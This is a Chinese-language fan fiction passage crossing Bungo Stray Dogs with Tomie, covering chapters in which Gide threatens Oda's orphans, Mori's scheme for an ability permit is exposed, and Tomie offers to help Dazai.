但紧接着，他的目光又落在自己面前长袍男人的身上，准备随时阻碍对方试图进入二楼的各种动作。然而面前的长袍青年却只是在冷淡地注视着他几眼后，直接收回了手中的枪支。 福泽谕吉却没有因此松懈，相反，他注视着疑似准备转身离开的长袍青年，开口打破了两人之间的宁静。 “……等一下！” 对方顿时停下了转身的动作，似乎想知道他喊住对方的理由。 福泽谕吉抿了抿嘴，最终还是问出自己想要知道的问题。 “[MIMIC]可能会袭击港口Mafia有关的无辜人员这件事情，我已经知道。但是无论怎么看，这些人也不应该由你这种程度的人来解决吧？” 他质问，“你亲自过来的理由究竟是什么？” 这是福泽谕吉无法理解的地方。 无路可走的亡命之徒什么都做得出来这件事情他能理解，但是他不觉得解决这些手无缚鸡之力的人需要对方亲自出手。 “理由……吗？”对方喃喃重复着，像是在思考怎么回答。 很快，对方抬起手将遮脸的长帽摘下。 银白色的头发和暗红色的眼眸此刻彻底出现在福泽谕吉的面前，让他清晰地认识到面前的人究竟长什么样子。 “我亲自出面的理由，说到底很简单。” 纪德与面前的和服男人双目对视回答，“我记得我和你说过，我是为了寻找能够救赎我们的人才会出现在这里。虽然你很强，但是像你这样的强者我也见过不少。” 福泽谕吉听着对方话语轻蹙眉头，不明白对方想说什么。 可对方似乎并不在意，而是继续自顾自地说了下去。 “因为我的异能力，所以即使你们如此强大，也依然无法杀了我，给我想要的结局。” 对方如此说着，话语中的情绪带着些许的凄凉，但却又话锋一转，语气上扬，“但是就在昨天傍晚，我终于找到了那个可以给予我救赎的异能力者了。” 福泽谕吉听到这里，内心隐隐约约似乎明白了对方接下来要说的话语。 果不其然，下一刻对方继续开口—— “可是对方却拒绝了和我战斗的邀请，理由只是因为他还有梦想。这一刻我明白了我作为‘幽灵’与对方之间的差距，所以为了弥补这样的差距，让对方理解我们。为此……” 对方话语一顿，随后脸上浮现出冰冷的笑容继续道，“——我要切实杀了对方收养的孤儿。” “杀了对方活着的意义，用愤怒和仇恨填满对方的内心，让对方知道什么是被亡灵操控的身躯。” 福泽谕吉原本轻蹙的眉头愈发紧皱，通过刚刚的话语，他明白了对方的意思。 也就是说，对方所看中的那个异能力者并不想和对方战斗，于是为了获得对方想要的结果，对方选择杀了与那个异能力者有关的家人来激怒对方…… 简直是，令人看不下去的行为。 福泽谕吉想，但他的疑问还没结束，“那另一个人呢？” “他？他就像是伊甸园里的那条蛇，稍有不慎，就会走上一条不归路。那可不是我们所追求的救赎。” 对方解释着，但在福泽谕吉看来这种解释依然令人难以理解。 眼看对方准备转身离开，福泽谕吉赶忙开口，“我还有最后一个问题。” “既然你准备杀了他们，那为什么现在又轻而易举地放弃？” 谁知，对方却突然笑了笑，“轻而易举地放弃？你可能是想错了什么。” “我离开不是因为放弃，而是就像我之前说的那样，继续这样下去不会有任何结果。”对方收敛了笑容，继续道，“而且就算你可以保护他们一次，两次，但是你能保护他们到永远吗？” “……” 福泽谕吉无法否决，因为对方说的是实话。 纪德没有理会面前的人是否明白了他话语中的意思，只是转身的同时用双手将长帽戴好。 不过紧接着，他像是想到了什么对着身后的和服男人开口，“不过你倒是提醒了我……” 福泽谕吉不解地抬头，只见对方继续道，“如果你遇到了那个异能力者，可以帮我给他带句话。就说……” “——不想这种事情还会继续发生的话，就来找我一决生死。” “不然我不介意，让我刚刚所说的话语变成现实。” 话音刚落，对方的身影就消失在了福泽谕吉的目光中。 第46章 黎明将至, 港口Mafia首领办公室。 穿着用高级布料制作的中年男人单抽撑着脸颊背对着办公桌而坐，他那双紫红色眼眸落在窗外横滨的风景，感受着天空渐渐泛白。 可仔细一看就会发现, 他的双眸如同平静的潭水失去了焦点，连带着瞳孔都微微扩散。 “今天就会拿到手吧？真是令人期待啊。”少女的声音从他身后不远处响起。 听到这句话语, 中年男人的睫毛开始颤抖，在眨了眨眼睛后, 他的瞳孔微缩，然后淡淡回道，“是啊，真令人期待啊……异能许可证。” 说完, 他转动了身下的座椅，回眸看向说话的人形异能体。 然而金发碧眼的少女仍在自娱自乐，完全看不出来一晚上没有睡觉的疲惫。 不过并非真正人类的她在某种意义上也确实不需要睡眠, 但她的异能主人之所以在这里做了一个晚上没有睡觉则是因为…… “怎么了？是因为期待所以才没有睡觉吗？小心这样下去，发际线会像太宰君某次说的那样越来越后退哦！” 森鸥外听着金发碧眼少女所说的话语, 难得只是笑了笑, 并没有如往常一样说一些委屈的话语博取对方的同情，装模作样地和自己的异能体演一出无人观看的戏码。 因为对方这种用反话来代替关心的话语, 令他回想起了很久的过去。就像之前他让自己的人形异能体变换为黑发少年的模样，现在他面前这个爱丽丝的性格实际上也是另一个少女的性格。 当时的他还是军医, 为了制造不死的军队, 他找到了拥有[请君勿死]异能力的少女与他一起加入战场。只要计划得当, 及时让少女对着受伤的军人发动异能，那么他们的军队就不会有一个人死亡。 可实际上这个不死军队失败了，所有人都抵不过明知的结局，看着自己和队友不停地被‘复活’、去战场上送死并如此反复。即使身体完好无损, 心灵却受到了更加严重的伤害。 在森鸥外看来，哪怕他能理解理由，也无法对那些人感同身受。 因为…… ——为了国家，为了家乡，付出这些不应该是理所应当的吗？ ——怎么会这么轻易地就承受不住了？ ——不让[不死军团]出现，不让上层的人理解异能正在改变战争的定义，国家就会灭亡！ 就像是知道他内心在想些什么，金发碧眼的人形异能体再次开口。 “就像那个男人曾经说的一样，你简直毫无人心可言。” 森鸥外听见却露出了一个和之前不一样的、略带着扭曲的笑容，“这对我来说，还真是夸奖……既然如此，那我就再说一次好了。” “——所谓的战争，就是一场谁顾虑人心谁就会输的游戏！”① 不等少女说话，他转动座椅看向海平线上缓缓升起的太阳继续道，“而太宰君之所以会到现在的局面，就是因为他太顾虑人心了。” “……” 少女不再说话，或者说他没有令少女继续说话。 森鸥外只是注视着横滨表面毫无变化的风景，淡淡道，“他确实聪明，但是爱丽丝酱知道我明明说过他和过去的我很像，可我们两个人现在却那么不同的原因吗？” 被提到的爱丽丝酱如同人偶般配合地回答，“为什么呢？” “虽然太宰君没有察觉，但是……”森鸥外眼眸深邃起来，“他思维模式实在是太感性了。” “——他本质上是一个会被感情所左右的人。” “实际上，在察觉到这一点的时候，我也很惊讶。”他这么说着，但表情却完全看不出来所谓的惊讶。 “可是……” “如果不是因为感性，在看透了这个世界本质的时候，他又为什么会选择追求自杀来解脱呢？” “如果不是因为感性，为什么会在发现友人立场的背叛时，又选择让对方毫发无损地离开呢？” “如果不是因为感性……” “——他为什么会完完全全踏入我计划中的每一步呢？” 森鸥外最后的话音落下，直接站起了身，回头看向自己的人形异能体。 背对着不算明亮的阳光，他的大半张脸陷入了黑暗，除了若隐若现的、相当瘆人的微笑，能够完全看得清的只有那双还在微微发着光的紫红色眼眸。 他说： “太宰君是个会顾虑人心的孩子，真是太好了。” * 横滨，沿海地区一栋蓝色两层大楼。 随着黎明到来，楼下再也没有异响的安静，宫水富江和其余人都明白了危险的时刻已经离去。而这件事情，在那个穿着和服的社长出现在他们的房间门口说话后获得了证实。 “呼，那可真是太好了。总算没有危险了……”年龄最大的那个孩子开口。 另一个孩子脸上也放松起来，“接下只要等织田作任务结束，接我们回去就可以了。” 他们相互对视了一眼，喜悦溢于言表，然后开始宽慰其他三名孩子，让他们知道现在的状况。 宫水富江没有说话，因为他注意到了那位社长轻蹙起来的眉头。 可对方也没有直接否认那几个孩子的话语和行为，只是默默看着，像是在纠结什么。 宫水富江下意识看向江户川乱步，侦探服青年此刻没有什么特殊的神情或者动作，在注意到他的目光后，淡定地回答，“安心吧，已经结束了。” 真的是这样吗？ 宫水富江有些不确定地想着。 就像是印证他心中的不安，那位社长走到了侦探服青年身边，“乱步，我有事情想和你说。” 说着，对方回到了二楼楼梯口，显然是不想在这里光明正大地说出来。 宫水富江也想知道具体是什么情况，正想跟随刚走了两步的江户川乱步身后时，只见那位社长先生在二楼楼梯口突然顿住，紧接着伸出一只手阻拦了他们继续前进的步伐。 他望向社长先生的神情，发现对方满脸严肃地注视着楼下，就好像发现了什么异常举动。 不会又有人来袭吧？ 宫水富江下意识想到，可是等他顺着社长先生的目光往楼梯下方看去的时候，只见到一个身穿沙色外套的红发青年出现在那里，并同样神色紧张地望向他们这里。 对方那双与中原先生相似的蓝色眼眸在看到他们每个人的时候所表达的情绪都不太一样，看到他的时候似乎有些好奇，在看到他身旁的乱步先生只是有些探究，但是在看到那位社长先生的时候，对方眼神的情绪变化最为明显，似乎感到了诧异。 只不过对方很快将目光移开，看向了处在他们身后正相互保暖的那五名孤儿。在发现他们后，马不停蹄地踏上了二楼快速走到了那几个孩子身边。 那五个孩子见到红发青年显然很惊喜，其中最大的几个立即开口。 “织田作！” “真的是织田作诶！” “不是还在处理任务吗？这么快回来没有事情吗？” “还是说任务已经结束了？” 而最小的那个小女孩则是直接扑进了蹲下来的红发青年的怀中，喊着对方，“织田作！” 被称为织田作的红发青年回应了这个最小的女孩后，又按住了其余几个孩子的肩膀，不停转动着他们，并开口询问，“我看到一楼的场景了，你们有没有受伤？” 年纪最大的那个肩负起了责任回答着红发青年的问题，他得意地笑了笑，“我们可没有受伤，多亏了太宰找的这个保镖，你都不知道他有多厉害，在遇到危险的瞬间就冲了上去，和那个穿着长袍的男人战斗，给我争取了上二楼的时间！” “不过，让我自己去面对那个男人我也不怕！毕竟我可是在二楼也设置了、……” 陷阱两个字还没有说出，就被红发青年的庆幸所打断，“你们没事实在是太好了……” 说完，红发青年站起身，走到社长先生的面前神色凝重地开口，“谢谢你，以及……好久不见。” 宫水富江微微诧异，所以说对方与这位社长先生原来是认识的吗？ 显然同样诧异地不只是他一个人，还有刚刚不停说话的那个年纪最大的男孩，“织田作居然认识吗？！” “果然是你……”社长显然还记得面前的红发青年，他对于对方的道谢礼貌性地点了点头，随后回答，“说起来，上次见面还是八年前，我记得当时你还是、……。” 社长的话语还没有说完，听到关键性时间信息的江户川乱步终于出声。 他凑到红发青年的面前，“啊，原来是你啊！那个倒霉到被助理当成替罪羔羊的暗杀者！” 宫水富江：“……？” 真的吗？暗杀者也能这么轻易地成为替罪羔羊吗？ 红发青年显然没有太多情绪，他只是淡淡地看了一眼江户川乱步，随后点头肯定了对方的话语，“是的，我就是当时那个被委托人当成替罪羔羊的暗杀者。” 宫水富江：“？” 他再次打出了个问号，他能感觉到这位太宰先生的友人显然不正常——对方居然大大方方地承认并重复了一遍。 “我知道你。”红发青年继续道，“当时为了找到你的所在之处，这位先生想要和我进行交易。” 江户川乱步不知为何轻哼了一声，像是认同了对方的话语，又像是不乐意的模样。 福泽谕吉显然没有想到自己所保护的那五个孤儿的收养人就是当初的那个少年…… 他抿了抿唇刚想说点什么，就注意到了对方身后探出头来的那五个孩子。 最终，他开口道，“有什么事情的话，我们先去楼下说吧。” ** 大约是这一晚上一系列的举动，再加上突然放松的神经，那几个孩子除了刚开始想要跟下楼被拒后，很快回到了二楼的房间内睡着了。 宫水富江虽然因为突然多了一个陌生人而有点害怕，但是好奇的心理压过了紧张的情绪。 大不了他全程不说话只听他们说就好了，他这样安慰自己。更重要的是，对方还是太宰先生传说中的那位友人，他真的很难不对这个人产生好奇。 他跟着这些人一起下楼的时候，发现红发青年似乎注意到了他好奇地看了他一眼，但最终并没有说什么。 至于社长先生则是默认了他的举动，而乱步先生完全没有在意他。 他们三个人在一楼的客厅沙发上坐下，形式是乱步先生和社长先生坐在一起，而红发青年坐在他们面前。 宫水富江自己则是独自一个人默默坐在之前被乱步先生独占的办公桌那里，压低自己的存在感，希望不被他们注意。 但似乎他的行为是有用的，那几个人确实没有继续往他这里看一眼。 …… 织田作之助余光瞄了一眼不远处的少年后，又收回了视线。 虽然那个人没有提起过自己的姓名，但是织田作之助已经从太宰那里知道并再次从对方那里获得了和之前那次在Lupin酒馆时差不多的提醒。 因此，他没有与对方正面对视和说话。 他的目光看向坐在自己面前的这两个人，其中年长的、穿着和服的那位是他八年前做任务时遇到过的一位记忆深刻的男人。 而对方身边的人…… 当时的他在隔壁遮住视线并捆绑住手脚，虽然后来拿到了枪射杀了背叛自己的委托人，但是并未摘下面罩的他实际上并未与当初那位少年侦探见过面。 织田作之助没有想到自己会与他们再次见面是在这种情况下，他记得太宰说…… 【“因为欠了富江人情，所以尽管对方是敌对势力的[武装侦探社]，现在也还是愿意接受委托帮助我们保护他们。”】 织田作之助还记得黑发青年说完后露出了个奇怪的神情继续道，【“其中那个侦探特别——惹人厌，所以织田作你遇到对方最好少说几句话！”】 现在想想，太宰指的侦探大概就是他面前这位吧。 织田作之助注视着面前穿着侦探服的青年默默想到。 “你这么看着我，该不会是那个家伙和你说了我什么坏话吧！” 就好像知道太宰治和他说了什么一样，面前的侦探服青年马上看穿了他的想法。 织田作之助感到意外，怔了怔后为自己的朋友辩解，“没有说坏话。” 见对方神色不再愤怒，他继续道，“只是让我少和你说几句。” 侦探服青年立即对他露出了难以置信的神情，显然是想说点什么。 只不过还没来得及开口，侦探服身旁的和服男人轻咳了两声打断了他们之间的对话。 织田作之助望过去，只见对方简单开口，“我是福泽谕吉，我身边的这位是江户川乱步。我想我们现在在做什么你应该从你朋友的口中知道了。” 织田作之助点了点头，“太宰跟我说了……我是织田作之助。” “织田？织田作？” 通过对方的话语，织田作之助知道对方在困惑什么。 他简单解释，“太宰喜欢喊我织田作，以至于周围人的渐渐被跑偏了，实际上我姓织田。” 福泽谕吉略微不好意思点了点头，随后询问，“我记得你以前是暗杀者，可现在……” 对方不知为何加入了港口Mafia，还收养了五个孤儿。说起来，福泽谕吉能明显感受到面前的青年和八年前相比要变了很多…… 织田作之助不知道该怎么说明，但最后他言简意赅地解释，“在那之后，我有了一个梦想。为了这个梦想，不再去杀人，但是这样一来，因为我过去的履历所能继续维持生活的工作反而会减少，于是在朋友太宰的邀请下，我加入了港口Mafia，成为了一个不杀人的底层人员。” “那几个孩子都是在这几年陆陆续续收养的，我想等他们长大后，去实现我的梦想。” 福泽谕吉仅仅凝视着面前红发青年的话语，他能看到对方提起朋友和那五个孩子时脸上浮现的淡淡笑意。 显然，对方并未说谎。 不过这样一来，就反而显得那个长袍男人所说的话语更加可恶。 想到这里，福泽谕吉在心中叹了口气。 可他不得不将当时对方所说的话语重复给对方听，于是他简单说明了对方到来之前所发生的经历，并开口： “……‘不想这种事情还会继续发生的话，就来找我一决生死。’”福泽谕吉拢了拢袖口，继续道，“他当时是这么说的。” 面前的红发青年陷入了沉默，显然是在思考。 福泽谕吉注意着对方的状态，又想了想对方刚刚与那五个孤儿的相处。 他下意识侧头看向身旁的乱步，想到了自己与侦探服青年的经历。 最终，他主动开口，“你要不要尝试委托、……” “社长，不要继续说下去了。” 可是刚刚一直默不作声的侦探服青年终于开口了，却是为了打断他的话语。 福泽谕吉看过去，发现侦探服青年此刻难得的正襟危坐。 江户川乱步自然知道社长想要说什么，于是他开口，“我知道社长你也想帮助织田，但是作为和那个男人打过两次的社长应该也很清楚地明白。如果你们之间能分出胜负，那么在第一次的时候就已经获得结果了。” “……” 福泽谕吉无法反驳，实际上再与那个男人对战一次，结果也是一样的——不分胜负。 也就是和那个男人说的一样，从始至终他们之间的战斗都是毫无意义的。 “更不用说……”江户川乱步睁开那双绿眸继续道，“这是属于港口Mafia和[MIMIC]之间的战斗。” “社长你不会忘记我们[武装侦探社]和港口Mafia是敌对势力了吗？” 这句话出来，让福泽谕吉彻底哑口无言。 “我知道了。” 倏地，红发青年终于开口说话。 福泽谕吉与对方对视，只见对方继续道，“我本来并不想与对方战斗，但就像对方说的那样。即使您帮过我这一次，也依然会有下一次和下下次。这样拖延下去，对于我来说完全没有好处。” “也许会很难，但我会尽量想办法在不杀人的前提下，把对方抓住。” 说着，红发青年站起了身，显然是准备出门寻找那个人的存在。 福泽谕吉无法阻拦，于是看向了身侧的侦探服青年。 江户川乱步见状直接站起身，“好吧，看在当初你免费告诉社长情报的份上，我不介意这次免费帮助你一次。” 织田作之助愣了愣，显然对方应该是通过之前的只言片语猜到了那次狱中的情况。 紧接着，他注意到侦探服青年从怀中拿出一副看起来平平无奇的眼镜戴上，在睁开眼眸看了他几秒后，便直接开口道，“那个人现在是在横滨山区半山腰的洋房里。” 说完，又直接将眼镜摘下。 虽然不清楚这种行为的意义，但织田作之助并未怀疑对方的话语，而是认真对着面前的侦探服青年道谢，“谢谢。” 既然如此，他接下来要做的就是进行准备。可就在织田作之助整理好装备，准备打开房门出发的时候，遇上了刚好开门的太宰治。 对方见到他的行头似乎有些诧异，不过织田作之助觉得刚刚好。 “太宰吗？你来得刚好，我打算现在去纪德所在的据点。你可以帮我召集一些港口Mafia的人手和我一起解决[MIMIC]的其他人吗？” “……” 可不知为何，黑发青年似乎有些愣神，在听到他的话语后，好像又开始纠结起来。 最终，黑发青年开口，“……必须要去吗？” 织田作之助回答，“可是对方已经过来袭击一次了，这次有[武装侦探社]的人帮忙，并不代表下次还能有这样的幸运。” 说着他转身离开，率先前往纪德又或者说[MIMIC]的所在地。 他想，太宰一定很快就能携带其他人员迅速赶到。 江户川乱步就这样淡漠地注视着面前两人的举动，随后看着黑发青年在看了一眼富江后离开的身影。 “完蛋了呢。”倏地，他突然在只剩下他们三个人的空间中这样开口。 他身旁的社长显然不明白他的话语，直接询问，“为什么这么说？如果织田的朋友带着港口Mafia其他成员前去帮忙的话，不是应该还有机会吗？” 抱有同样疑惑的还有在旁边默默旁听的宫水富江，他下意识身体前倾，想要听接下来这位名侦探的话语。 江户川乱步反问，“虽然我一直觉得周围人都是笨蛋，但是这个世界偶尔也会有不笨的家伙存在。” 福泽谕吉看着身旁的侦探服青年，思索对方的话语。 对方的意思应该是说，虽然周围人很笨，但和他一样聪明的并非没有……这样吧。 “尽管不想承认，但那个叫作太宰家伙就是。对方显然已经清楚地明白了一切的幕后黑手是谁了，所以才会希望织田不要过去吧。” 福泽谕吉还是不明白，“能说得更简单点吗，乱步？” 宫水富江在内心肯定了这位社长先生的话语。 对方能说得明白一点吗？他着实有点没明白这个意思。 “社长。”侦探服青年回头看向他，“你以为这里为什么会暴露到敌人哪里？” “这是因为、……”社长想说点什么，但偏偏又说不出。可很快，他想到了一种可能性，于是探究般地看向了江户川乱步。 只见对方肯定地回答，“当然是因为另一个知道这个地方的家伙故意泄露了秘密，那个……” “——港口Mafia的现任首领，森鸥外。” 第47章 下午, 横滨街道。 从早上开始天空就阴云密布起来，直至现在零星的雨滴快速滴落在地面上形成深色圆点，才让路人意识到雨终于下下来了。 街道上大多数人都采取了行动, 有用手中东西作为遮雨的，也有不少朝着能遮雨屋檐店铺下躲避的。但在这么多的人群中, 一道黑色人影最为显眼。 他两只手都是空落落的，没有任何可以遮雨的东西, 同时又不找地方躲雨。他只是安静地像是沉浸在自己的世界里，对外界的雨水无动于衷。 就算雨水从刚开始的零星几滴到现在的密密麻麻，他也没有任何反应。 任由水珠顺着对方的发丝落到地面，又或者沿着脸颊滑进衣领内。以至于就算大衣湿透, 衬衫彻底黏在身上，脊背仿佛被压得微微弯曲，都没有任何动作。 黑发青年就这样路过所有人朝着自己既定的目标行走。 “太宰先生好。” “太宰干部。” “太宰先生……” 随着进入熟悉的港口Mafia总部大楼, 周围认识他的人开始朝其打着招呼，然而即便如此, 他也没有任何回应。 而是低垂着头继续朝前走着, 直至来到电梯前，抬起手摁下。随着电梯门被打开, 他慢慢走了进去，然后电梯在所有人的目光中关闭。 不理解的众人相互对视了一眼, 似乎都感受到了某种难以言喻的氛围。 可随着电梯逐渐升高, 所显示的楼层数也在不断变化。 直到最后‘叮’的一声, 电梯打开，黑发青年漫步走到了走廊尽头一扇巨大的办公室门前。 通过例行的检查，门前两个守卫帮他打开了房门。 黑发青年径直走了进去，紧接着他听到了熟悉的声音。 “太宰君？” 太宰治终于抬起了头, 而出现在他视野中的是正坐在落地窗前欣赏横滨雨景的港口Mafia首领——森鸥外。 对方与他记忆中的模样几乎没有任何改变，略显凌乱的背头、红色围巾，同时脸上还是那副高深莫测的神情。 太宰治的视线微微移动，看向了对方身侧茶水桌上所摆着的黑色信封，在这一刻对方那高深莫测的表情显得格外可憎。 “……我要调动港口Mafia内可用武斗人员的权限。”太宰治与森鸥外对视，直接说出了自己的需求。 而中年男人听到这种话语却突然笑了起来，然后回答，“不可以。” “……” 太宰治没有说话，但却并不是因为对方的拒绝，而是因为心中的猜想获得了证实。 在抿了抿唇角后，他注视着中年男人那张脸第一次没有拐弯抹角地径直询问，“首领，都是你做的吧？” 迎着对方的视线，他继续道，“无论是安吾的卧底、[MIMIC]的偷渡、中也的出差，还是安排织田作去寻找，又或者是泄露他们躲藏的地方……” “这些全部——” 太宰治与对方双目对视，一字一句地重复道，“都是你计划好的吧？就只是为了……你身边的那个异能许可证。” “太宰君。”首领突然喊着他的名字，脸上露出了不解的神情，“明明已经知道了，为什么还会想要重复地询问是不是我做的呢？” 听到这种反问式回答的瞬间，太宰治感受到了某种无助。 他为什么想要重复询问，那当然是—— “因为是你。”太宰治回答。 看似意义不明的话语，但他明白，作为他的老师绝对不可能不知道其中的含义。 然而不知为何，在他说出这句话后，面前中年男人的脸上浮现了可以说是意义不明的笑容，这种奇怪的笑容令太宰治从心理上感受到了某种不适。 “我说的话有哪里很好笑吗？”太宰治轻蹙着眉头询问。 中年男人收敛了脸上的笑容，淡定地回答，“不，我只是觉得太宰君是不是把我想得太好了。就算你来到我这里质问我，我也依然并未觉得我的做法有任何问题。” 说着他伸出手拿起桌面上那封高级的黑色信封，继续道，“用一名低级成员解决卧底和连异能特务科都困扰的[MIMIC]，来换取异能许可证有什么不对？明明这才是最优解，不是吗？” 这一刻，太宰治明白了对方刚刚为什么在笑。对方在嘲笑他的天真，以为他认为他们是一条船上的，对方就不会对他身边的人动手的想法。 可实际上，那都只是他的自以为是。但为了组织需要，面前的男人会不择手段地将所需要的一切计算在内。 不，或许对方做到这个份上不仅仅是因为异能许可证，还有别的什么。 比如他手中所掌握的对方篡位的证据，又比如…… ——他的存在让对方产生了危机感。 可就算如此，太宰治也依然还是无法理解。如果他真的想做，那么他就不会等到现在了。 于是，他凝视着那双紫红色的眼眸开口，“你究竟在害怕什么？” …… 太宰治为了还在独自奋战的友人已然离去，森鸥外挥了挥手让原本用枪指着太宰治的两个守卫离开。 随着“吱呀”一声，办公室的大门再次被关上。 在这只剩一个人的偌大空间内，森鸥外站起了身，来到了落地窗前。 他注视着依然没有停止的大雨，如释重负地开口，“终于……结束了。” * 横滨，一栋蓝色二层的大楼。 大雨滂沱，因为一楼的窗户破碎，为了防止那五个孩子们会着凉生病，所以年长且带孩子经验丰富的社长先生主动将他们带到楼上安顿，至于江户川乱步和宫水富江则是主动留在了一楼。 听着不间断的下雨声，宫水富江趴在桌面上不停思考着江户川乱步上午所说的话语。 【“泄露藏身地点的人是港口Mafia的首领森鸥外。”】 【“既然如此，对方又怎么可能会同意那个家伙带着部下前去支援。”】 森鸥外…… 宫水富江反复咀嚼这个名字，紧接着终于想起了为什么会觉得这个名字耳熟。 这不是那个爱女心切、用手术刀单杀小混混团体的那个中年医生吗？ 他想。 回想着对方当初持着手术刀一击割喉的利落动作，他当时天真地以为横滨这个地方什么都有，合着原来对方就是那个挟持太宰先生友人而令太宰先生不得不工作的港口Mafia的首领。 也就是说，这个港口Mafia的首领从一开始就是在骗他！ 虽然宫水富江觉得对方很可恶，但现在树立在宫水富江面前的还有另一件重要的事情。 他记得室友说过，太宰先生会因为友人而跳槽。当时他并未在意，可结合现在的情况想，也许指的就是现在这个节点。 那么也就是说，他现在处于一段对于太宰先生非常重要的剧情中。 可按照乱步先生所说的话语，现在太宰先生和那位织田先生似乎处在了某种麻烦之中…… 想到这里，宫水富江下意识看向侦探服青年。 对方注意到了他的视线，不知为何默默带着手中的零食转了个方向继续吃。 “乱步先生……”他无视对方的举动，直接喊着对方的名字询问，“乱步先生觉得太宰先生和那位织田先生最后能安全回来吗？” 对方吃零食的动作顿时，隐约间宫水富江似乎听到了对方叹息的声音，可是等他再仔细看去，发现对方不知道什么时候转了过来。 侦探服青年放下手中的零食，对他开口，“如果你是想从我的口中听到他们平安无事的回答，那还是算了吧。” 在宫水富江的目光中，侦探服青年神情略微严肃，“这是港口Mafia首领专门针对他们两人而计划好的阴谋，你身边的那个家伙也发现了这一点，所以他也无法在森鸥外的手中携带部下支援织田。” 说着，侦探服青年的声音变得柔软了一些，他继续道，“我知道你想从我口中获得什么答案，但是很不巧我是名侦探，所以我可以很认真地告诉你，刚刚我所说的都是我能‘看’到的事实与真相。” “……” 宫水富江默不作声。 尽管之前只是隐隐约约有所察觉，但是被对方这么直接的挑破他还是会感到失落。 宫水富江终于理解了室友在追番过程中遇到暴雷的剧情而愤怒的心情，甚至他觉得自己可能比室友更惨，因为他现在正在亲身经历。 江户川乱步以为自己的话语说得很清楚了，但显然面前的黑发少年并未放弃。 他只是低头不知道想了什么，很快又抬起来询问他，“我记得[武装侦探社]是能够接委托的，是吧？” 对方冒出这样一句话的时候，江户川乱步就知道对方想说什么了。 他认真回答，“我之前也说过了，这是[MIMIC]与港口Mafia之间的事情。而且我们组织虽然与港口Mafia相互敌对是事实，可目前我们处于一段相对和平的时期。如果现在[武装侦探社]轻率地插入其中，那么也许对方就会以这个为由对[武装侦探社]发起攻击。” “为了[武装侦探社]着想，你的这份委托，我是无论如何都不会答应的。” 面前之人的请求对他来说确实很难拒绝，可是背后的[武装侦探社]对于他来说才更加重要。 要不然，他之前也不会拒绝社长的话语了。 大概是明白了他的意思，面前的人失落地垂眸。 但很快，江户川乱步发现自己想错了。 “既然这样的话，那我就自己过去。” 也不知道对方想了什么，等对方再抬起头，那初见时还不停闪躲的黑眸此刻正毫不闪躲的地与他对视，连带着脸上的微笑都不再含着某种唯唯诺诺的味道，而是更加的、……张扬。 ……对方好像和第一次见面时表现得不太一样了。 江户川乱步之前以为是因为对方认识了他，才会没有像初次见面那样害怕并躲着他，可现在看来，似乎并不完全是这样。 等江户川乱步从对方的神情中回神，发现黑发少年早就已经站起身朝着门口走去。 见状，江户川乱步站起身，轻蹙着眉头阻拦对方，“你知道你在做什么吗？” 毋庸置疑，那里现在与战场无异，贸然过去反而更加危险。 对方听到他的话语，脚步一顿。 就在江户川乱步以为对方听进去而松了口气的时候，他才发现事情和他预想的并不一样。 “正是因为知道，我才更要去。” 黑发少年回眸，不仅微笑没有收敛，甚至那双因为笑容而微眯的双眸变得更有魅惑力。 微怔的江户川乱步还未回神，便又听到了对方后面肯定且带笑意的话语。 对方说： “太宰先生现在需要我。” …… 江户川乱步站了半晌，最后才坐回到板凳上望着对方撑着雨伞消失在了雨幕中的方向走神。 “……他人呢？” 倏地一道声音在他身侧响起。 江户川乱步看过去，发现是社长不知何时来到安顿好了那几个孩子，然后悄无声息地走到了他的身边。 习惯对方脚步的江户川乱步听到对方的问题，侧头看向门口的方向慵懒地回答，“应该是去英雄救美了吧。” 福泽谕吉没有明白对方话语中‘英雄救美’的含义，可没多久他又敏锐地听到了侦探服青年的小声嘀咕。 对方好像是在说： “所以说，那种家伙究竟有哪里好了……” ** 横滨山区的洋房，这里是太宰治从织田作之助口中所听到的据点。 可即使到了这里，他也想不到该怎么解决[MIMIC]指挥官纪德的计划。 他并不是没有想过[武装侦探社]，但是从之前的匆匆两面，太宰治就知道对方不会同意。 他也有考虑过找坂口安吾帮忙，可是先不说坂口安吾也只能听命从事，就算能喊动安吾，可已经将解决[MIMIC]的任务交给港口Mafia的异能特务科也显然不会再出动。 思索到这里，太宰治的内心越发着急。 他越过泥地，从洋房的正门走进去，紧接着听到了接连不断的枪声。然后他在长长的走廊上快速奔跑，越是靠近那扇大门，枪声越是震耳。 最终，推开尽头的大门，出现在他眼前的是纪德与织田作对战的画面。 好消息是目前没有发展到他想的最坏的地步，可坏消息是局势正朝着最坏的地步一步一步前进，且他一个人无力阻止。 信任他会带着支援前来的织田作为了防止自己真的杀人，一直处于弱势，而对面的纪德因为看穿了这一点而愤怒不已。 毫无头绪、没有办法…… 他从未想过自己会有这么束手无措的一天，以至于现在事态的发展完全超过他的掌控。 “太宰？” 友人注意到了他的出现，于是喊了他的名字，但太宰治却无法回应友人的期待。 “我、……”他张了张嘴却说不出完整的话语。 就在这时，滑嫩白皙的双手如同蛇一般柔软地从他的身后环绕到他的脖颈上。 肌肤与肌肤的触碰让太宰治感受到了对方身上散发着的凉意，同时，那股熟悉的、若隐若无的香味浮现在鼻尖。 因为过近的距离，太宰治甚至能够感受对方靠近他耳边的微弱呼吸声和气息，紧接着他听到对方那极具魅惑的嗓音缓缓响起： “需要我来帮帮你吗，太宰先生？” 第48章 “需要我来帮帮你吗, 太宰先生？” 是许久未曾听到的声音，可现在再次听到，太宰治居然一点也不觉得陌生。 虽然对方微微压低了声线, 却依然如同少年般明亮。可同时又像泥潭般那样黏稠，拽着黑发青年陷入了那深深的潭水中, 就仿佛是几条无形的大手正拉扯着无辜的路人陷入地狱。 大概是他许久没有说话，想要获得他回应的黑发少年感受到了摆在胸前的两只手尝试交错, 随后环绕在他脖颈两侧的双臂也开始收缩。与此同时，因为身高差距，他明显察觉到对方将自己的脸贴在了他的肩胛骨处。 鼻尖的香味浓郁到了一个前所未有的新高度，不知道是不是错觉, 太宰治甚至觉得这比少年当初不小心摔倒在他身上时的味道还要浓郁。 “太宰先生……” 终于，对方尝试用声音呼喊他。 随着这道声音落下，他的理智再度回归, 目光下意识注视着不远处边与纪德奋战边时不时望向这里的织田作之助。 这一刻，太宰治清楚地知道自己没有其他选择。 于是下一瞬间, 他听到自己带笑的声音响起： “哈, 既然这样的话……” “来帮帮我吧，Tomie（富江）。” 隐约间, 他好像听到了身后之人的笑声，可仔细听过去, 又好像什么都没有。 但唯一能够清楚听到的, 是对方肯定的回答。 “——好哦, 太宰先生。” …… 